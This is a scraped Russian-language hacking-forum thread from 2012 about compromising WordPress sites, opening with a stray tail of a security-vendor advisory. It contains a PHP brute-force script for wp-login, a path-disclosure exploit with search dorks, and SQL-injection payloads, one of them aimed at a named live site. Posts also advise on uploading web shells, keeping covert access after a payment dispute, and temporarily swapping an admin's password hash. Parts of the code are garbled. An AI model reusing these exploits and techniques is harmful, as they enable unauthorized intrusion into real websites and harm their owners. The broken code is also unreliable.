Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:

SpiderLabs(R) is the advanced security team at Trustwave focused on

application security, incident response, penet ration testing, physical

security and security research. The team has performed over a thousand

incident investigations, thousands of penetrat ion tests and hundreds of

application security tests globally. In addit ion, the SpiderLabs Research

team provides intelligence through bleeding-edge research and proof of

concept tool development to enhance Trustwave 's products and services.

https://www.trustwave.com/spiderlabs

Disclaimer:

The information provided in this advisory is provided "as is" without

warranty of any kind. Trustwave disclaims al l warranties, either express or

implied, including the warranties of merchant ability and fitness for a

particular purpose. In no event shall Trustw ave or its suppliers be liable

for any damages whatsoever including direct, indirect, incidental,

consequential, loss of business profits or s pecial damages, even if

Trustwave or its suppliers have been advised of the possibility of such

damages. Some states do not allow the exclu sion or limitation of liability

for consequential or incidental damages so t he foregoing limitation may not

apply.

This transmission may contain information tha t is privileged, confidential, and/or exempt from disclosure under applicable l aw. If you are not the intended recipient, you are hereby notified that any disclosure , copying, distribution, or use of the info rmation contained herein (including any relia nce thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in el ectronic or hard copy format.[/COLOR]
[/PHP]

OxoTnik
13.02.2012, 07:54
Скрипт онлайн Брута WordPress

Нашёл в просторах интернета, решил поделиться брутом




";

error_reporting(0);

set_time_limit(0);

ignore_user_abort(true);

?>



body {

color: white;

background-image: url(http://t1.gstatic.com/images?q=tbn:ANd9GcRQa5CloHyQPcJ7ghTVn0VlylyAvRnVA rdDmu2f98SSS7U92rRX);

}

textarea {

border-radius: 8px;

color: white;

background-color:black;

}

input[type=submit] , .submit{

background-color:black;

color:white;

border-radius:8px;

}

p {

font-size: 10px;

text-align: center;

}

a:link,a:hover,a:visited {

color:pink;

}





&nbsp;

# | WordPress Admin Panel Penetration Testin g



&nbsp;

Hosts:

Users:

Passwords:





&nbsp;









".$host." => Error In Login Page !";ob_flush();flush();continue;}

foreach($usernames_explode as$username)

{

foreach($passwords _explodeas$password)

{

$ch=curl_init();

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');

curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");

curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");

curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);

curl_setopt($ch,CURLOPT_POST,TRUE);

curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");

$login=curl_exec($ch);

if(eregi("profile.php",$login) )

{

$hacked=1;

ec ho"".$host." => UserName : [".$username."] : Password : [".$password."]";

ob_flush();flush();break;

}

}

if($hacked==1){bre ak;}

}

if($hacked==0)

{echo"".$host." => Failed !";ob_flush();flush();}

}

}

else {echo"All fields are Required ! ";}

}

?>



powered by #



";?>

Пользуйтесь на здоровье, и главное, подобрали пароль, сообщили админу!

morgan-id
22.03.2012, 13:42
подскажите , хостинг стоит на CPanel движок WordPress доступ есть полный и на хостинг админом и в админ панель WordPress

что можно сделать или какой шелл залить что бы я всегда имел доступ и знал пароль в случае его смены ?

проблема не оплаты за работу создания сайта , доступ пока у меня есть ко всему абсолютно но думаю скоро сменят пароли

за советы буду благодарен !

Mr.Snuffer
02.04.2012, 22:36
Пагни, такое дело

Есть wordpress 3.3.1

Права на заливку - онли wp-upload

Залить пхп файл то я залил, но в этой дире он не выполнется.

Пытался залить туда .htaccess - безрезультатно.

Если нет прав на темплат, есть ещё способы?

upd: из плагинов стоят дискус и адсэнс, но в них походу ничего нет

pr3v3d
08.04.2012, 21:11
Раскрытие путей в thumb.php

в модуле flashservices

дорка:flashservices/services/thumb.php

Osstudio
11.04.2012, 00:21
Раскрытие путей в WordPress >= 3.31

На данный момент, самая новая версия

Данная уязвимость присутствует во многих файлах из директории wp-includes, например, файл /wp-includes/admin-bar.php



Exploit (Exploit OsWpFp v.0.5):




Fatal error: Call to undefined function ad d_action() in "," on line 39
","/wp-includes/admin-bar.php","
\nFatal error: Call to undefined function add_action() in ","Fatal error: Call to undefined function add_ action() in "," on line 39");

for($i=0;$iFull path site ".$url.":
".$e."/*Exploit By Osstudio*/
\nICQ: 375647532";

/*Exploit By Osstudio*/

}

else

{

echo"Ожидание ввода, либо не у алось использовать!";

}

?>

Веб версия эксплоита (http://vk-secrets.ru/OsWpFp/index.php)

Dork:

allinurl:.ru/wp-includes/admin-bar.php

allinurl:.com/wp-includes/admin-bar.php

(c) Osstudio

fiin
16.04.2012, 16:17
Раскрытие путей в WordPress >= 3.31


Exploit (Exploit OsWpFp v.0.5):


Расскажи новичку по подробнее как воспользоваться, если не трудно

Ereee
16.04.2012, 16:20
Расскажи новичку по подробнее как воспользоваться, если не трудно


PHP интерпретатор нужен. Самое легкое, скачай Denwer и запускай.

fiin
16.04.2012, 16:25
PHP интерпретатор нужен. Самое легкое, скачай Denwer и запускай.


благодарю

fiin
16.04.2012, 18:07
http://i34.fastpic.ru/big/2012/0416/0c/6f7a7f55e2bc9b7a95cae35ba114c20c.jpg

Подскажите, что я должен делать дальше? Что это мне даст

HAXTA4OK
16.04.2012, 18:08
Это тебе дает раскрытие путей, что позволяет узнать путь сервера , которые нужен в различных вариантов развития событий, но в твоем случае думаю ничего не дает

demko
16.04.2012, 21:00
подскажите , хостинг стоит на CPanel движок WordPress доступ есть полный и на хостинг админом и в админ панель WordPress
что можно сделать или какой шелл залить что бы я всегда имел доступ и знал пароль в случае его смены ?
проблема не оплаты за работу создания сайта , доступ пока у меня есть ко всему абсолютно но думаю скоро сменят пароли
за советы буду благодарен !


пароль если сменят, ты получишь тока хэш его, он хранится в бд не в открытом виде.

создай юзверя к БД с правами ещё одного... по поводу шелла хз, другие мб тебе подскажут, я таким не занимаюсь

fiin
17.04.2012, 23:32
Народ, есть что-нибудь на 2.9.2 версию?

Через _tp://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts смогу к sql подобраться? Расскажите как сайт на 2.9.2 вскрыть, пожалуйста.

.while
17.04.2012, 23:51
W.X.Y.Z = Malicious User's MySQL Instance


имя юзера или что?

пройдут запросы с livehttpheader?

Bossss
24.04.2012, 20:05
# Exploit Title: Buddypress plugin of Wordpress remote SQL Injection
# Date: March 31, 2012
# Author: Ivan Terkin
# Exploitation: Remote Exploit
# Bug: Remote SQL Injection
# Software Link: buddypress.org
# Version: till 1.5.5
# Tested on: Buddypress 1.5.4


POST /wp-load.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/activity/?s=b
Connection: Keep-Alive
Content-Length: 153
Content-Type: application/x-www-form-urlencoded

action=activity_widget_filter&page=1%26exclude%3d1)and(1=0)UNION(SELECT(1),(2),( 3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14 ),(15),(16),(17))%3b--+

Reported to developers and fixed in version 1.5.5

sqonf
26.04.2012, 11:47
Есть wordpress-сайт с уязвимым timthumb.php. Эксплоит отрабатывает, в директории "cache" создается файлик external_[хэш].php. Теперь не понятно, как народ закрепляется, фрэймит итд? если у скрипта external_[хэш].php прав на запись в директории и файло нехватет?

Спасибо

Radiator
26.04.2012, 16:02
столкнулся с невозможностью правки php файлов themes.

идем в Plugin

update.php?action=upload-plugin , там нет ограничений на расширения. туда заливаем наш шелл. идем в Media и видим его там.

sqonf
26.04.2012, 18:22
Есть wordpress-сайт с уязвимым timthumb.php. Эксплоит отрабатывает, в директории "cache" создается файлик external_[хэш].php. Теперь не понятно, как народ закрепляется, фрэймит итд? если у скрипта external_[хэш].php прав на запись в директории и файло нехватет?
Спасибо

столкнулся с невозможностью правки php файлов themes.
идем в Plugin
update.php?action=upload-plugin , там нет ограничений на расширения. туда заливаем наш шелл. идем в Media и видим его там.




" if author else f"

sqonf said:
Есть wordpress-сайт с уязвимым timthumb.php. Эксплоит отрабатывает, в директории "cache" создается файлик external_[хэш].php. Теперь не понятно, как народ закрепляется, фрэймит итд? если у скрипта external_[хэш].php прав на запись в директории и файло нехватет?
Спасибо

столкнулся с невозможностью правки php файлов themes.
идем в Plugin
update.php?action=upload-plugin , там нет ограничений на расширения. туда заливаем наш шелл. идем в Media и видим его там.





К сожалению у меня для этого нет админки. Шелл я и так могу залить, не проблема. Проблема в том, что для закрепления нет прав для записи в каталогах и файлах.

Otar3s
30.04.2012, 13:20
Ребят,help

есть админка вордпресса.там нету прав на шаблоны и плагины.

пробовал залить php в плагины add new(plugins) но Forbidden!

You are using WordPress 3.2.1

(дубль с експа)

Otar3s
30.04.2012, 15:30
пробовал

update.php?action=upload-plugin

нету такого адреса вроде как понял.

ничего из из этого не помогает.help, проконсультируйте.

Coder +++
01.07.2012, 16:26
Как залить шел, имея доступ к админке.

ВП 3.3.2

Ereee
01.07.2012, 17:12
Coder +++ said:
Как залить шел, имея доступ к админке.
ВП 3.3.2


Editor.

Coder +++
01.07.2012, 19:38
Editor.


можно поподробней или линк на статью.

total90
01.07.2012, 19:44
Coder +++ said:
можно поподробней или линк на статью.


Редактируй файлы плагинов, либо лей тему

Coder +++
01.07.2012, 19:59
Там нужен доступ к фтп.

VY_CMa
11.07.2012, 07:15
Раскрытие путей wp

3ak.aT
26.07.2012, 18:20
WordPress Front End Upload v0.5.4.4 Arbitrary PHP File Upload

Кто разобрался с вот этой уязвимостью? тыЦ (http://www.exploit-db.com/exploits/20083/)

Плагин много где установлен, но почему то страница upload.php при прямом открытие выдаёт: _RANDOM NUMBER

WendM
06.08.2012, 21:41
Как можно зайти под админом\залить шел, если

1)Есть доступ к бд = есть логи и пасс(мд5) админа

2)Версия движка 2.5.1

3)Секрет кей не дефолтный

Спасибо заранее

cat1vo
06.08.2012, 21:56
1.Расшифровать пароль!

2.????

3.PROFIT!!!11

Иных вариантов нет исходя из ваших данных. Можете протроянить админа и узнать пароль, не прибегая к расшифровке!

BigBear
07.08.2012, 12:33
Как можно зайти под админом\залить шел, если
1)Есть доступ к бд = есть логи и пасс(мд5) админа
2)Версия движка 2.5.1
3)Секрет кей не дефолтный
Спасибо заранее




Моя бы схема выглядела так:

1) Есть доступ в бд, но нет расшифрованного пасса? Нет проблем!

Заходим в БД. Пишем запрос


select password from users where id=1

Запоминаем/записываем хэшик.

Далее запрашиваем


update users set password='NewPassword' where id=1

NewPassword можно взять из любых расшифрованных ВордПресс хэшей. Например в этом сообщении (https://antichat.live/showpost.php/p/3223602/postcount/11076/)

2) Проверяем, что у нашего юзверя сменился хэшик в БД.

3) site/wp-login.php - логин мы знаем, пасс расшифрованный тоже. Спасибо ВП что ещё соль не надо апдейтить (хотя это +1 запрос к бд, не новички смогут и 1 запросом апдейт сделать)

4) Так как мы внутри - льём шелл, например так (https://antichat.live/showpost.php/p/770176/postcount/3/)

5) Из-под шелла или ещё где цепляемся в бд и делаем запрос


update users set password='OldPassword' where id=1

Где OldPassword = старый, сохранённый хэшик.

З.Ы. Прикольно жёлтый цвет на мрачном фоне смотрится =)

WendM
07.08.2012, 21:18
Далее запрашиваем


update users set password='NewPassword' where id=1



не лезит)

2nikola
09.08.2012, 16:55
WendM напиши в личку логин и хеш залью шелл

VY_CMa
13.08.2012, 15:50
Помошник брута

Дело в том что, чем дальше я влажу в ядро движка, тем больше радуюсь тому, что билдеры как-будто специально оставляют нам шансы на проникновение. Сегодня обратил внимание на wp-login.php

Дело в том, что WP позволяет отображать ник, как того пожелает сам автор, отнюдь, не всегда админ использует логин "admin". Довольно часто приходится брутить... Но как же брутить, если мы не знаем логин админа? В этом нам помогает движок. Дело в том, что скрипт сам помогает нам найти логин админа с помощью того же брута. Возьмем случайны блог и гугла.


http://domashenko.ru/wp-login.php

Введем в качестве логина "superuser", а в качестве пасса "123". На что получим подсказку, что юзера с ником "superuser" в базе нет....

http://s015.radikal.ru/i331/1208/df/d2ed3939c5c2.jpg

Введем логин "admin" и пароль к примеру "test", в результате получаем:

http://s48.radikal.ru/i120/1208/8f/43552ed04fcf.jpg

Конечно не новшество, но мне частенько пригождается.

Asin
14.08.2012, 22:04
Сегодня обратил внимание на wp-login.php
пригождается.


Один из первых шагов по безопасности Wordpress смена страницы входа в админку - wp-login.php

Planet85
16.08.2012, 12:28
Подскажите пожалуйста, как использовать полученные при помощи программы WP_Cracker логин и хэш? чтобы редактировать сайт

BigBear
16.08.2012, 20:51
Подскажите пожалуйста, как использовать полученные при помощи программы WP_Cracker логин и хэш? чтобы редактировать сайт


Как создатель софтины - советую прочитать отдельную тему по ней тут (https://antichat.live/threads/308467/)

tvano0
05.09.2012, 00:44
вопрос, есть админка, темы и плагины нельзя с неё редактировать.

какие еще методы есть чтоб залить шел? вп 3.4.1

z0mbyak
02.10.2012, 03:20
fs real estate plugin SQL-Inj

# Exploit Title: fs real estate plugin SQL-Inj

# Date: Oct 2, 2012

#Exploit Author: z0mbyak

# Vendor Homepage: find by yourself

# Software Link: find by yourself

# Version: don't know

# Tested in: web

# Dork: inurl:"marker_listings.xml?id"

# Exploit: -2+union+select+version(),2,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31--

# PoC:

http://themacnabs.com/wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.xml?id=-2+union+select+version(),2,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31--

P.S. Кол-во колонок может отличаться...

P.P.S. Мб, боян, по wp не работаю)